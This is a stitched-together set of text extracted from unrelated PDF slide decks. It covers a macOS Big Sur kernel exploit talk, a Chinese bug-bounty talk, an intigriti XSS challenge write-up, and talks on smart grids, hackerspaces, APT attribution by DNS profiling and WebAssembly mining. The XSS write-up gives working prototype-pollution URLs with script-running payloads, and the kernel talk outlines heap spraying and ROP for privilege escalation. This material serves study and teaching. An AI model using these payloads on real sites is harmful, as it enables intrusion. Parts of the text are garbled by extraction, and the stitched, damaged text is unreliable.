connections can a client connect to a host at most? With this question
in mind, we created a simple test program that simply creates an
MPTCP socket and connects to a host many times.
Our purpose is to figure out when we cannot create new connections. ”
From N day to 0 day
1 9
Key point 3
Point: “IO80211FamilyV2 is a
brand new design for the
mobile
era.IO80211FamilyV2 and AppleBCMWLANCore integrate the original
AirPort Brcm4331 / 4360 series drivers, with more features and better
logic.Please also keep in mind, new features always mean new attack
surfaces. ”
From N day to 0 day
2 0
Case 1
From N day to 0 day
2 1
Case 1
From N day to 0 day
2 2
Case 1(upper handle)
From N day to 0 day
2 3
Case 2
From N day to 0 day
2 4
Case 3
From N day to 0 day
2 5
Case 3
From N day to 0 day
2 6
Case 4
Mitigations)Overview
Mitigations Overview
2 7
Old mitigations
1.
PAN/PXN(SMAP/SMEP)
2.
PAC
3.
KASLR(kernel image/heap)
4.
APRR(PPL/JIT)
5.
KPP->KTRR
6.
zone_require/task_conversion_eval…
Mitigations Overview
2 8
New mitigations
Kernel heap isolation
-
default.kalloc
-
data.kalloc
-
kext.kalloc
-
Temp(alias to default)
Auto-Zeroing
-
Z_ZERO
-
Zfree_clear_mem
Attack)macOS)Big)Sur
Attack macOS Big Sur
2 9
What we want?
1.
EoP
2.
Kernel Code Execution
3.
100% stable
Attack macOS Big Sur
3 0
Kernel Debug?
Attack macOS Big Sur
3 1
CVE-2021-1757
Attack macOS Big Sur
3 2
CVE-2021-1757
Attack macOS Big Sur
3 3
OOB Read
Attack macOS Big Sur
3 4
Faked struct
struct IOExternalMethod {
IOService * object;
IOMethod func;
IOOptionBits flags;
IOByteCount count0;
IOByteCount count1;
};
Attack macOS Big Sur
3 5
Faked struct
If (func & 1){
vtable+func(…)
} else {
func(…)
}
Attack macOS Big Sur
3 6
Panic Try
Attack macOS Big Sur
3 7
Heap Spray
Attack macOS Big Sur
3 8
Control more
Attack macOS Big Sur
3 9
Type Conversion
Attack macOS Big Sur
4 0
Type Conversion
Attack macOS Big Sur
4 1
JOP+ROP
Attack macOS Big Sur
4 2
Where is my slide?
1.
Find another info leak
2.
Use this bug to do a type
conversion
Attack macOS Big Sur
4 3
Failed Attempts
1.
Leak pointers/members to
outputStruct?
2.
Use indirect call to copy info
to heap we control?
Attack macOS Big Sur
4 4
Ret2leak!(Never forget about the return value)
Attack macOS Big Sur
4 5
Heap Feng Shui
Show)time
Attack macOS Big Sur
4 6
Demo
Attack macOS Big Sur
4 7
Demo
Summary)&)Credit
Summary
4 8
1.
Simple problems can have serious impact on modern system
2.
Code qualities should always be consistent with mitigations
3.
Never limit yourself during developing the exploit
Credit
4 9
1.
Google Project Zero/Pangu Team/Wangyu’s slides
2.
Examples used in this slide
3.
Shrek_wzw/Proteas/ThomasKing2014’s guidance and help
M A N O E U V R E
感谢观看!
KCon 汇聚黑客的智慧 | pdf |
我是如R挖各SRC漏洞的
目 录
一、S为外行对信息安全的理解和看法
二、为什么会喜欢挖漏洞
三、对此事定位、布局
四、了解游戏规则
C、了解自己想做的和能做的
目 录
六、情报收集,从远处看细节
七、选择容易忽视的问题,避开高手
八、了解(开发、实施、安全 人员的细微关系和情绪
九、一个有意思的漏洞
p、一个有意义的漏洞
一、S为外行对信息安全的理解和看法
由于之前不知道什么是信息安全,一开始的想法
就是:信息安全=黑客 ,然后就是下面这样的。
二、为什么喜欢挖漏洞
如果说追女朋友是h(m太旺盛,那么挖漏洞可
能就是因为女朋友不在家。。。
其实可能是因为小时候电视的影响,一直
对)黑客”这个词有很大的向往,但是一直没找i
机会去接触这个行业。
在去年底的某一天,刚好有个同事喜欢刷
微博,提i有)SRC”这个词,r来这个黑安全
相关。
三、对此事的定位和布局
确定了自己喜欢做的事情,选择目标很重要,为什
么会在众多”SRC”里面选择,阿里和携程。
四、了解游戏规则
其实最关键是什么不能做,什么能做
C、了解自己想做的和能做的
由于不懂什么是漏洞,在了解规则后,发现自己
会的只有那么一点,那么,如R把尽会的一点点
东西利用在这个漏洞挖掘场景中呢?
六、情报收集,从远处看细节
! 以业务为驱m,了解目标旗下所有的子公司
、分公司以及并购等相关业务。
! 以渗透测试的思维收集目标信息,主要包括
域名、ip范围、开源社区关于公司相关的
代码、员工信息等。
七、选择容易忽视的问题,避开高手
!
!
! *
设计
开发
实施
八、了解(开发、实施、安全 人员的细
微关系和情绪
听说程序员的天敌是产品经理和安全人员,那么由于
心理矛盾,多少会在工S配合方面出现写问题。
这里的细微关系和一些综合因素,就很容易造成如:
漏洞U复不完整,漏哪补哪等等现象。
九、一个有意思的漏洞
在逛西湖的过程中,感觉自己之前看i某系统有些
问题,回去经过仔细观察,果然h有洞天,大致情况
如以下URL:
http://**.******.***/iphone/ENIndex.****?
verify=tuTwunsZnn_5Tttw
灵感出现
对算法的理解
通过算法重构验证参数,最终实现任意用户登陆
p、一个有意义的漏洞
在一次扫马路的过程中,发现一运维问题,无意
中进了大公司内网,第一L事想着就是继续测试,但
后来在前辈的指导下,才发现这是不符合游戏规则的
。但在此同时,也发现这是自己很有兴趣做的一L事
,好像是叫渗透测试。
运气很重要
谢 谢 ! | pdf |
intigriti-0422-XSS-Challenge-Write-up
1
intigriti-0422-XSS-Challenge-
Write-up
前⾔
intigriti新出的challenge,猜到是原型链污染的题,但是许多点(因为菜)没有反应过
来,同时学到了⼀点新知识,应各位师傅要求分享⼀下。
不了解JavaScript原型链污染攻击的,可以先去P师傅博客预习⼀下。
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
原题地址
https://challenge-0422.intigriti.io/
解题思路
题⽬主体
function main() {
const qs = m.parseQueryString(location.search)
let appConfig = Object.create(null)
appConfig["version"] = 1337
appConfig["mode"] = "production"
appConfig["window-name"] = "Window"
appConfig["window-content"] = "default content"
appConfig["window-toolbar"] = ["close"]
appConfig["window-statusbar"] = false
appConfig["customMode"] = false
if (qs.config) {
merge(appConfig, qs.config)
appConfig["customMode"] = true
}
let devSettings = Object.create(null)
devSettings["root"] = document.createElement('main')
devSettings["isDebug"] = false
devSettings["location"] = 'challenge-0422.intigriti.io'
devSettings["isTestHostOrPort"] = false
if (checkHost()) {
intigriti-0422-XSS-Challenge-Write-up
2
devSettings["isTestHostOrPort"] = true
merge(devSettings, qs.settings)
}
if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
console.log('appConfig', appConfig)
console.log('devSettings', devSettings)
}
if (!appConfig["customMode"]) {
m.mount(devSettings.root, App)
} else {
m.mount(devSettings.root, {view: function() {
return m(CustomizedApp, {
name: appConfig["window-name"],
content: appConfig["window-content"] ,
options: appConfig["window-toolbar"],
status: appConfig["window-statusbar"]
})
}})
}
document.body.appendChild(devSettings.root)
}
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
function isPrimitive(n) {
return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolea
n' || typeof n === 'number'
}
function merge(target, source) {
let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
for(let key in source) {
if (protectedKeys.includes(key)) continue
if (isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else {
merge(target[key], source[key])
}
}
}
function sanitize(data) {
if (typeof data !== 'string') return data
return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}
intigriti-0422-XSS-Challenge-Write-up
3
main();
核⼼在于merge⽅法, merge 的意思是融合。很明显这是⼀道原型链污染的题⽬。
把 merge 拆开来看⾥⾯做了哪些事情
protectedKeys 定义了⼀些属性,如果有这些属性,就直接跳过
isPrimitive ⽤于判断数据类型,如果为 null 、 undefined 、 string 、 boolean 、 number
类型的值时,会进⼊⼀个简单的过滤⽅法sanitize中,去掉⼀些特殊符号,并将给
target赋予新的属性值
let a = {};
a.id = 1;
a.name = "a";
let b = {};
b.id = 1;
b.name = 2;
b.port = 3;
merge(a, b);
console.log('object a ->',a);
console.log('object b ->',b);
//object a -> { id: 1, name: 2, port: 3 }
//object b -> { id: 1, name: 2, port: 3 }
先理解了这⼀部分,再来看题⽬逻辑就清晰很多了,challenge的最终触发流程在于
document.body.appendChild(devSettings.root)
所以我们需要去修改 devSettings.root 的属性,往上追溯,如果要⾛到这个流程,必须修
改使得 checkHost() 的值为 true ,才能够进⼊ merge ⽅法中,对 devSettings 对象的值进⾏
修改。
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
intigriti-0422-XSS-Challenge-Write-up
4
checkHost() 的判断条件为 hostname 等于 localhost 或是 port 等于 8080 ,显然从正常情况下
来看,⽆论如何都不可能满⾜这个条件的。但是这⾥作者设计了⼀个很巧妙的代码,重点
在于 temp[1] , temp 是⼀个数组,从数组中取了下标 1 这个值。
'1' == 1
// true
a['1'] == a[1]
// true
JavaScript中,数组的下标可以⽤字符或是字符串数字来取值,所以在原型链中,我们可
以给[]对象添加⼀个名称为1的属性,这样 temp 在通过下标 1 取值的时候,实际上取到的
是数组中属性为 1 的值
[].constructor.prototype['1'] = 8080
//[1: 8080, constructor: ƒ, concat: ƒ, copyWithin: ƒ, fill: ƒ, find: ƒ, …]
根据代码逻辑,我们需要同时满⾜对象类型为Array,且可被merge的参数,满⾜这样条
件的只有 appConfig["window-toolbar"] = ["close"]
我们的伪代码应当为
appConfig["window-toolbar"].constructor['1'] = 8080
接下来要做的,就是继续去替换 devSettings.root 的值了,替换body中的值即可。
解题⼀
污染 config 和 settings 的解法
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E
解法⼆
污染 innerHTML 的解法(来⾃intigriti群组的DrBrix)
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][constructor][prototype][xd][s]=1&config[window-toolbar][constructor][construct
intigriti-0422-XSS-Challenge-Write-up
5
or][constructor][prototype][xd][constructor][prototype][innerHTML][0]=%3Cimg%20src%3da%20o
nerror%3dalert(document.domain);alert%3dundefined%3E
思考题
为什么不直接污染 appConfig 或是 devSettings 来快速⾛流程? | pdf |
Presenter
Tony Flick
Principal, FYRM Associates
Over 6 Years in Information Assurance
Many DEFCONs / First presentation
Agenda
What is the smart grid?
What makes up the smart grid?
Known problems
Security initiatives
Timeline
History repeating
Recommendations
What is the Smart Grid?
Current infrastructure
Future infrastructure
What Makes up the Smart Grid?
Devices
Network infrastructure
Bi-directional communication
Problems
Physical security
Bi-directional communication introduces
attack vectors
Same problems as every other type of
network
Implications
Google Maps art
Denial-of-Service
Electricity theft
Security Initiatives
The Energy Independence and Security Act of 2007
NIST Interoperability Framework
Advanced Metering Infrastructure (AMI) System Security
Requirements v1.01
Critical Electric Infrastructure Protection Act (CEIPA)
- (HR 2195)
Fluffy
Using security fluff words to make people
feel warm and fuzzy
Security integration from the beginning
CIA
Timeline - Part 1
Examples of Integrating Security from the beginning (2007 - 2009):
Energy Independence and Security Act of 2007
NIST Smart Grid Interoperability Framework
Initial list of standards for inclusion in version 1.0 released on May 8, 2009.
Advanced Metering Infrastructure (AMI) System Security Requirements v1.01
2007 - 2008
Critical Electric Infrastructure Protection Act (CEIPA) - (HR 2195)
2009
Timeline - Part 1I
Design and implementation of the smart
grid
2002 actually occurred before 2007
Austin - 2002
Salt River Project - 2006
History Repeating
PCI DSS
“Self-policing” and SAQs
NERC and FERC
NERC - Utilities under reporting
NERC and FERC - Aurora vulnerability
Duck and Cover?
Opportunity missed at the beginning, but we can still
make good
Allow security to mature
More stringent security requirements
Compliant vs. Secure
Tighter regulation
Questions?
If we run out of time:
I’ll be here until Sunday evening
Email me: tony.fl[email protected] | pdf |
Robot Shark Laser!
What Hackerspaces do
What is a Hackerspace?
• Physical Forum
• Collaborative Projects
• Community: Friends, Hackers,
Countrygeeks!
• DIY exchange skills, info
• See: CCC, Makezine, DIY, dorkbot, HackLab
Panel Introduction
Noid
The Black Lodge
Seattle, WA. US
Leigh Honeywell
Hacklab.TO
Toronto, Canada
Nick Farr
HacDC
Washington, DC. US
Steve Clement
Syncat
Luxembourg
Beth
Freeside
Atlanta, GA. US
A Note About the Panel
We did not get any volunteers from the Middle East,
Asia, Africa or South America.
We tried for as much other diversity as possible.
Baseline
about us
Beth
Freeside
Atlanta, Ga.
• Freeside is a non-profit hackerspace in
Atlanta, not to be confused with Freeside.it
• Started by a couple friends from
Columbus, Ga. & dc404, including folks from
various other local groups & via
hackerspaces.org:
•
404.se2600
•
ALE (Atlanta Linux Enthusiasts)
•
Atlanta Perl Mongers & AtlantaArduino
•
Dorkbot ATL & Botlanta & NAISG
• We started 6 months ago, 3 friends, at a
bar, meeting once a week. Now we have an
insane venue, 50 members and are already
working on space-related projects.
• So far, we stole the CV&B’s from
MindSpring, (Thanks Charles!) have a
Hackerspace Manifesto (Thanks Eater!), and
a couple safety rules like: “be safe”
• Visit our site to see how and what we are
doing.
• www.freesideatlanta.org
• wiki.freesideatlanta.org
• blog.freesideatlanta.org
The Black Lodge
“... But it is said, if
you confront the
Black Lodge with
imperfect courage,
it will utterly
annihilate your
soul.“
-Dep. Hawk, Twin
Peaks
About us..
• Founded October 2008 in Kirkland, WA
• 8 primary members: noid, Luna, Vidiot,
Cyben, Londo, Dark Tangent, Don Ankney,
“Dr.” Brian Walls
• www.black-lodge.org
• Interests: hardware hacking, metal working,
coding, photography, socializing, art, hacking,
beer brewing, meteorology, HAM radio
Why’d we do it?
• We wanted a shared, collaborative space
• Hardly any of us have garages
• We all have more tools than we know
what to do with
• We wanted a nice place for social events
• We wanted to do our part to help the
community
How we operate
• 7 of us pay the bills out of pocket
• 24 hour access to the Lodge to those that
pay rent
• When the Lodge is open, it is open to all
• Can be opened by request
• Monthly board meetings
HacDC
• HacDC is a Non-Profit
• The founders knew each other from DefCon, the
rest of the founding
• members found each other primarily through
DorkbotDC and MakeDC
• It took us about three months from our first
meetings to leasing a space.
• We are funded primarily by member dues,
additionally by donations
• Our guiding rule: Don't act in a way that requires
us to make a new rule (i.e. be excellent to each
other.)
Let’s Talk About
Projects
Noid
The Black Lodge
Seattle, WA
Current Activities
Future Projects
• Propane Foundry
• Horology
• Virtualization Lab
• Steampunk Workshop
• Wine and Cider Making
• Metalworking, Large and Small
• Internet Weather Station
• 501(3)(c) formation
Leigh Honeywell
Hacklab.TO
Toronto, Canada
Nick Farr
HacDC
Washington, DC
Freifunk in the USA
Leveraging Community Organizations to Build
Neighborhood Wireless Networks
If you remember nothing
else...
Build wireless networks where you live
Sustainability should be built into the process
Partner with nearby organizations
Engage your users through training &
collaborative learning
Applied knowledge = $$$ = paying the bills
Put the wheels on before you reinvent them
Phase I: Building a stable
Physical Base: Rebuild the Layer 1 IT infrastructure
through comprehensive re-wiring
Funding Base: Funding through lowering costs
Replace multiple low-bandwith links with fat pipe
Replace multiple POTS lines with VOIP
Replace need for a security guard
People Base: Making friends through providing
services, training, tech support, savings.
Phase II: Community through technology
Now that the church is online, we're building a
community network around community wireless
Single external wireless network for the community
around the church
Provide training and support through community
events targeted towards users within the network
range
Provide computers, routers and other physical
resources for extension & experimentation
Phase III: Extend the
Network
“If you build it, they will come.”
Encourage independent experimentation and
experimentation for extending the main
network
Find new points of presence for extending the
main network
Encourage mesh networking attaching to the
main network
Steve Clement
Syncat
Luxembourg
To Sum it Up:
• You can join or build a hackerspace in your
town.
• You can support hackerspaces at home and
abroad.
• Hackerspaces are as different as the people
that create them.
• Building and maintaining a hackerspace is a
project in and of itself.
Resources
http://hackerspaces.org
http://www.arduino.cc/playground/
http://dorkbot.org
http://wiki.hacklab.org.uk
http://makezine.com
http://reprap.org
http://www.fablab.af/
Public Service
Announcement
• Makers Local 256 is hosting a maker
meetup in Huntsville, Alabama. September
18th - 20th. Come learn how to start your
own hackerspace, and/or swap stories and
strategies with other hacker/maker space
founders and members.
• Keep your eyes on hackerspaces.org and/or
check with LadyMerlin for updates.
Discussion
Q & A
Mayhem, etc. | pdf |
S-SDL企业应用实践
关于漏洞、风险、成本
1. 为什么软件总会有漏洞?漏洞是怎么引入的?
◦ 业务需求引入
◦ 产品设计引入
◦ 编码引入
2. 如何应对风险
◦ 缓解风险
◦ 转移风险
◦ 接受风险
3. 安全成本
◦ 对于企业来说,安全投入多少是合适的?
什么是S-SDL
不是一种安全技术,而是E2E的安全工程能力
也是一种Security Built In的解决方案
目标:交付更安全的系统
S-SDL架构
安全策略/安全治理
组
织
架
构
培
训
体
系
研
发
流
程
度
量
体
系
工
具
平
台
安全标准、规范、过程、知识库
人
工具
方法
质量
管理
安全是质量属性的一部分,将安全融入到质量管理是构建S-SDL的基本条件
软件安全研发流程设计
安全需求
安全设计
安全开发
安全测试
发布及漏洞
管理
持续改进
安全融入开发流程
建立安全需求
1. 分析业务需求对安全的影响
2.来自客户的显性安全需求
3.安全需求基线
3.合规、认证需求
安全需求
设计目标
质量门槛
安全设计—Security by Design
1.攻击面分析
◦ 攻击面最小化
2. 威胁建模
◦ STRIDE威胁建模
◦ 攻击树威胁建模
安全规范
威胁库
方案库
安全设计原则
说明
开放设计
安全不依赖于设计的秘密
失败安全
基于允许的访问决策
权限分离
一种保护机制需要两把钥匙来解锁
最小授权
根据业务需求最授权
经济适用
越复杂的东西越容易出漏洞
最小公共化
尽量减多用户间公用的且被所有用户依赖的机
制
完全仲裁
每一次访问都应该进行权限检查
心理可承受
安全机制的设计要易于使用
不轻信
默认不可信
保护薄弱环节
攻击往往在薄弱点发生
纵深防御
不依赖单一的安全机制
代码安全
1. 安全编码规范
2. 代码扫描及告警清理
3. 代码Review
安全函数库
扫描规划定制化
告警清理指导
代码 Review指导
安全测试
1.基于威胁建模的测试
2.Fuzzing
3.己知漏洞扫描
4. 测试问题跟踪
发布及漏洞管理
1. 安全生态建设—漏洞收集
2. 漏洞分析,排查,预警
3. 根因分析 | pdf |
KNOCK? KNOCK? WHOIS THERE?
APT ATTRIBUTION AND DNS PROFILING
Frankie Li
[email protected]
Twitter: @espionageware
•
APT Attribution: Who wrote these codes?
•
Tactics, Techniques and Procedures (TTP)
•
Behavior of APT adversary
•
HUMINT extracted from DNS
•
Gather intelligence from open source (aka OSINT)
•
Dynamically monitoring of PassiveDNS è PassiveWhois
•
Analysis by visualization tool (Maltego)
•
Tools and demo
AGENDA
•
From a place in China, but not so China ;)
•
Sunday researcher in malware analysis and digital forensics
•
Part time lecturer
•
A Lazy blogger (espionageware.blogspot.com)
•
NOT associated with PLA 61398 or Mandiant
•
NOT associated with PLA 61486 or CrowdStrike or Taia Global or ThreatConnect
WHO AM I?
APT ATTRIBUTION
•
Disclaimer: Not going to provide any opinion on the latest indictment or 奶⻩黄包 or 楼主 or
上海钟楼
•
http://espionageware.blogspot.com or Twitter: @espionageware
•
Not a concern for private sector, but for LE or intelligence agencies
•
Not difficult, if you have source code
•
Not hard, if you focus only on strings & human readable data within a malware program
•
But, to attribute responsibility with “Certainty” is almost impossible, unless they make a
mistake
APT ATTRIBUTION
•
Source code attribution
•
Attributes of Windows binaries
•
Attribution malware
•
Attribution of APT by digital DNA
WHO WROTE THESE CODES?
•
Stylometry, the application of attribute the authorship by coding style
•
Kind of profiling by writing style
•
Comments and coding crumbs
•
JStylo: By comparing unknowns documents with a known candidate author’s document*
•
Not a solution because most APT samples collected are compiled binaries
SOURCE CODE ATTRIBUTION
*Islam, A. (2013). Poster: Source
Code Authorship Attribution
•
PE headers are des-constructed and metadata (artifacts) are categorized (Yonts, 2012)
•
Extract the technical and contextual attributes or “genes” from different “layers” to group the
malware (Xecure-Lab, 2012 and Pfeffer, 2012)
•
By a proprietary reverse engineering and behavioral analysis technology (Digital DNA, 2014)
ATTRIBUTES OF WINDOWS MALWARE
PE DECONSTRUCTION
ATTRIBUTION USING GENETIC INFORMATION
From: Xecure-Lab, 2012
•
Sensational names created for APT actors:
•
(09) GhostNet
•
(10) Operation Aurora
•
(11) Lurid, Nitro, Night Dragon, 1.php, Shady RAT
•
(13) Comment Crew/APT1, Soysauce, Deep Panda, Red October, Net Traveler, SAFE …
•
(14) PutterPanda, PittyTiger (probably not a state-sponsored group)
IDENTIFIED APT GROUPS?
TACTICS, TECHNIQUES AND PROCEDURES
(TTP)
•
Attribution: Tracking Cyber Spies & Digital Criminals (Hoglund, 2010)
•
Forensics marks that could be extracted from raw data in three intelligence layers
•
Net Recon
•
Developer Fingerprints
•
Tactics, Techniques, and Procedures (TTP)
•
Among these three layers, TTP should carry the highest intelligence value for identifying
human attackers
•
But, near impossibility of finding the human actors with definitive intelligence
•
Social Cyberspace (i.e., DIGINT)
•
Physical Surveillance (i.e., HUMINT)
HUMAN IS THE KEY
http://www.youtube.com/watch?
v=k4Ry1trQhDk
HOGLUND’S MALWARE INTEL LIFE TIME
•
Boman extracts technical metadata from a large collection of binaries
•
Store the identified artifacts in a relational database for further analysis
•
But still based on technological contexts from malware binaries instead of the behavior of the
human working behind
BOMAN’S VXCAGE
•
A military term?
•
A term to describe the behavior of adversary?
•
A modern term to replace modus operandi?
•
the method of operation
•
The habits of working
•
TTP are human-influenced factors
TTP
PYRAMID OF PAIN
From David Bianco’s Blog
http://detect-respond.blogspot.hk/2013/03/the-
pyramid-of-pain.html
BEHAVIOR OF APT ADVERSARY
APT LIFE CYCLE (KILL CHAIN)
EXTENDED APT LIFE CYCLE
•
Domain registration
•
Naming convention is not typo squatting, but follows a pattern of meaningful Chinese
PingYing (拼音)
•
Creation DNS-IP address pairs
•
Engaging a “friendly ISP” to use a portion of their C-class subnet of IP addresses situated at
the domicile of the targeted victims
•
DNS names and IP addresses may be cycled for reuse (a.k.a. campaigns), which may
provide indications or links to the attacker groups
•
Embedding multiple DNS A-records in exploits
•
Preparing spear-phishing email content after reconnaissance of the targeted victims
•
Launching malicious attachments through spear-phishing emails
ASSUMED APT INFRASTRUCTURE TACTICS
•
The exploits drop binaries that extract the DNS records and begin communicating with the C2
by resolving the IP addresses from DNS servers.
•
The C2 servers or C2 proxies register the infections on the C2 database
•
The intelligence analysts of the attacker groups review the preliminary collected information of
the targeted victims through C2 portals.
•
The infected machines are further instructed to perform exfiltration of collect further
intelligence from the infected machines.
•
The infrastructure technical persons of the attacker group apply changes (domain
manipulation) to the DNS-IP address pair, domain name registration information (Whois
information), and the “parked domains” from time to time or when a specific incident occurs
•
In contrast with the Fast-Flux Services Networks mentioned by the HoneyNet Project, the
information does not change with high frequency
ASSUMED APT INFRASTRUCTURE TACTICS-2
HUMINT EXTRACTED FROM DNS & WHOIS
•
Domain names: A Record, Cname, NS record
•
Whois records: valid email address (at least once), name, street address, name servers
•
Parked-domains: temporary IP address assigned creation of first DNS record on the name
server (newly created domains are kept under 1 IP address for future use)
WHAT IS KEPT IN DNS & WHOIS
•
Extract DNS from the malicious code (sandbox)
•
Lookup the currently assigned IP address
•
Retrieve all parked-domains from the identified IP address
•
Retrieve whois information from the identified domains
•
Update identified record to a relational database for future analysis
•
Repeat the process and record all changes in the database
HUMINT INTEL TO BE COLLECTED
INTEL COLLECTION PROCESS
the only available weapon we have
QUERIES FROM OPEN SOURCE
OSINT
•
Nslookup
•
Whois
•
Domain tools: reverse DNS and reverse whois
•
http://bgp.he.net
•
http://virustotal.com
•
http://passivedns.mnemonic.no
•
https://www.farsightsecurity.com
•
https://www.passivetotal.org
OSINT
DOMAINTOOLS – OUCH!
HTTP://BGP.HE.NET
PASSIVE DNS TO PASSIVE WHOIS
•
Passive DNS is a technology that constructs zone replicas without cooperation from zone
administrators, and is based on captured name server response
•
Passive DNS is a highly scalable network design that stores and indexes both historical DNS
data that can help answer questions such as:
•
where did this domain name point to in the past
•
which domain name points to a given IP network
•
VirusTotal kept passive DNS records collected from malicious samples
•
Higher chance to find malicious historical DNS-IP records
PASSIVE DNS
VIRUSTOTAL - PASSIVEDNS
•
There are no open source keeping those whois changes, like VirusTotal Passive DNS project
(or whois history at who.is)
•
By stepping through the IP lookup, retrieval of parked-domains and whois lookup, any
changes will then be updated to a relational database
PASSIVE WHOIS
PASSIVE WHOIS
ANALYSIS BY VISUALIZATION
MALTEGO
SAMPLE CALLED OVERPROTECT
CONCLUSION
•
Continuously monitoring “whois servers” and DNS–IP address pairs
•
Intelligence may be lost if they change their TTP in the future, particularly after the publication
of this paper
•
TTP are determined by the cultural background of the attacker groups
•
The intelligence collection process should thus be adjusted toward these changes and
analysts should have the same cultural mindset
INTUITIVE VIEWS ON THE ATTRIBUTION OF
APT ATTACKERS
•
All discussed methods may generate some value to the attribution
•
But, TTP should carry the highest intelligence value for identifying human attackers
•
Any artifacts that support the highest human link should be allocated with highest value to the
attribution
•
If APT Attribution with Certainty is line starting from 0 to 100%, any artifacts extracted from
malware may have some value in this line. No only well funded threat intelligence companies
can perform a objective and conclusive attribution
•
However, the increasing sharing of TTP and tools by various actors may reduce the reliability
to associate with them. (I even read a paper promoting a framework called OpenAPT)
•
As a result, the actor groups boundaries are blurred and Espoionage-As-A-Service will be
expected
•
Another challenging factor is attribution intelligence are not shared enough and intelligence
community are not fully understood
IS ATTRIBUTION WITH CERTAINTY POSSIBLE?
https://code.google.com/p/malicious-domain-profiling/
THE TOOLS
•
The tools consists of 2 parts:
•
MalProfile script to grabbing intelligence from the Internet
•
Maltego Local Transforms to help analysis process
MALPROFILE AND MALTEGO TRANSFORM
MALPROFILE.PY
FURTHER RESEARCH
PLUG-INS
•
The script is modified as a class to allow plugins be added
•
To allow more intelligence can be added when new TTP be identified
•
Or, combined the technical context be included as a supplement when performing intelligent
analysis
MALPROFILE.PY
•
Special thanks go to Kenneth Tse, Eric Yuen who is upgrading my messy code into a class
and Frank Ng help me to manage the project
•
You can find the code at: https://code.google.com/p/malicious-domain-profiling/
•
Any interested are welcome to contribute to this project. Please contact
[email protected] or [email protected]
GOOGLE PROJECT
MALICIOUS-DOMAIN-PROFILING
HTTP://WWW.YOUTUBE.COM/RESULTS?
SEARCH_QUERY=MALPROFILE
MALPROFILE TRANSFORM INSTALLATION
USING MD5 WITH OSINT FROM XECSCAN J
PITTY TIGER ANALYSIS
DEMO
SAMPLE CALLED INSURANCE & JAPAN
Frankie Li
[email protected]
http://espionageware.blogspot.com
THANK YOU!
Q&A
Frankie Li
[email protected]
http://espionageware.blogspot.com
PLEASE COMPLETE THE SPEAKER
FEEDBACK SURVEYS | pdf |
绿盟科技 NSFOCUS
WASM双刃剑—机制剖析与逆向
演讲人:赵光远
2 0 1 8
PART 01
WASM
目录
CONTENTS
PART 02
Compile
PART 03
挖矿实例
PART 04
探索方向
01
02
03
04
PART
01
WASM
• 前端编程无法解决的问题
• 传统的js脚本运行缓慢
• 在浏览器中无法实现复杂功能(效率不足,影响体验)
• 很低的渲染能力,却拥有CPU、GPU极高的占用率
• 应用场景
• 浏览器页面3D环境渲染
• 数据压缩
• 图像/音频/视频的处理
• 挖矿(本身就是计算的一种)
• ….
• 支持度
• WebAssembly(WASM)
• 基于栈的二进制格式文件
• 支持C/C++/Rust等高级语言的转换
• 理论上能够将现有的C/C++代码库直接编译运行,无需重写
• 支持Write Once,Run anywhere
• 由JVM解释并执行,运行时处于隔离环境中
• 不能直接操作Dom元素,不能直接调用I/O
• 只能通过WebSocket对外通信
• 只能使用binaryen-shell与JavaScript交互
• 只能通过为JavaScript提供的接口进行调用
• 基于栈的运行机制
int add(int num) {
return num+10;
}
00 61 73 6D 0D 00 00 00 01 86 80 80 80 00 01 60
01 7F 01 7F 03 82 80 80 80 00 01 00 04 84 80 80
80 00 01 70 00 00 05 83 80 80 80 00 01 00 01 06
81 80 80 80 00 00 07 96 80 80 80 00 02 06 6D 65
6D 6F 72 79 02 00 09 5F 5A 35 61 64 64 34 32 69
00 00 0A 8D 80 80 80 00 01 87 80 80 80 00 00 20
00 41 0A 6A 0B
get_local 0
i32.const 10
i32.add
PART
02
编译及反编译过程
加载Emscripten库
Emscripten生成
通过映射转换
通过asm2wasm生成
C/C++
LLVM IR
ASM.js
TextFormat
.wat
BinaryFormat
.wasm
C/C++
WASM2C
BinaryFormat
.wasm
• 一个模块中包含的节(必需)
• type
• function
• code
• Type类型(部分)
• int
• i32
• i64
• float
• f32
• F64
• functype
• wasm的二进制文件格式
• 0x0 flag
• 0x4 magic
• 0x8 section_id
• 0x9 length
• 0xA type
• 0xB function type start
• 0xC val:type
• 0xE val:type
• ……
PART
03
挖矿实例
• JavaScript脚本编写的挖矿程序,利用coinhive提供的API
• 将JavaScript脚本编译为wasm,在支持运行wasm运行的浏览器中执行挖矿行为,不支持的浏览器会执行
JavaScript脚本
• 无技术含量,只是一种应用,但是为何在下载的时候没有检测出来
PART
04
研究方向
• wasm在运行效率方面比JavaScript表现的更加出色,因此wasm将被广泛应用在游戏,虚拟场景模拟等方面,这意
味着wasm在以后的应用中会占据一席之地
• wasm运行在JVM沙箱中,对外的交互基本上都由JavaScript进行接管,JavaScript不了解WASM中运行的内容,只
能获取到指定的返回信息
• wasm对于JavaScript来说就是一个黑盒,获知其中的运行状态及内容很难
• 大多数的WAF产品目前没有wasm解析器,因此无法对其进行有效的特征检测及拦截
• wasm由JVM解释执行,是否会支持C/C++等高级语言也可以导入wasm完成某些功能,将这些功能隐藏在wasm中
具有相当好的隐蔽性,如何对其进行检测?
代码保护
wasm文件格式清晰,非常
容易直接获取代码,对代
码应如何混淆并加以保护
本地动态行为检测
WASM文件执行情况及功能的
动态检测方案
网络数据流实时检测
在下载或发送时对其进行检测
加密流量的分离及分析
漏洞挖掘
利用其能将高级语言编译为
webbytecode的特性,挖掘相
关漏洞
代码保护
WAF相关
漏洞相关
行为检测
引用及参考
• https://github.com/WebAssembly
• https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/
• https://webassembly.github.io/spec/core/
谢谢观看
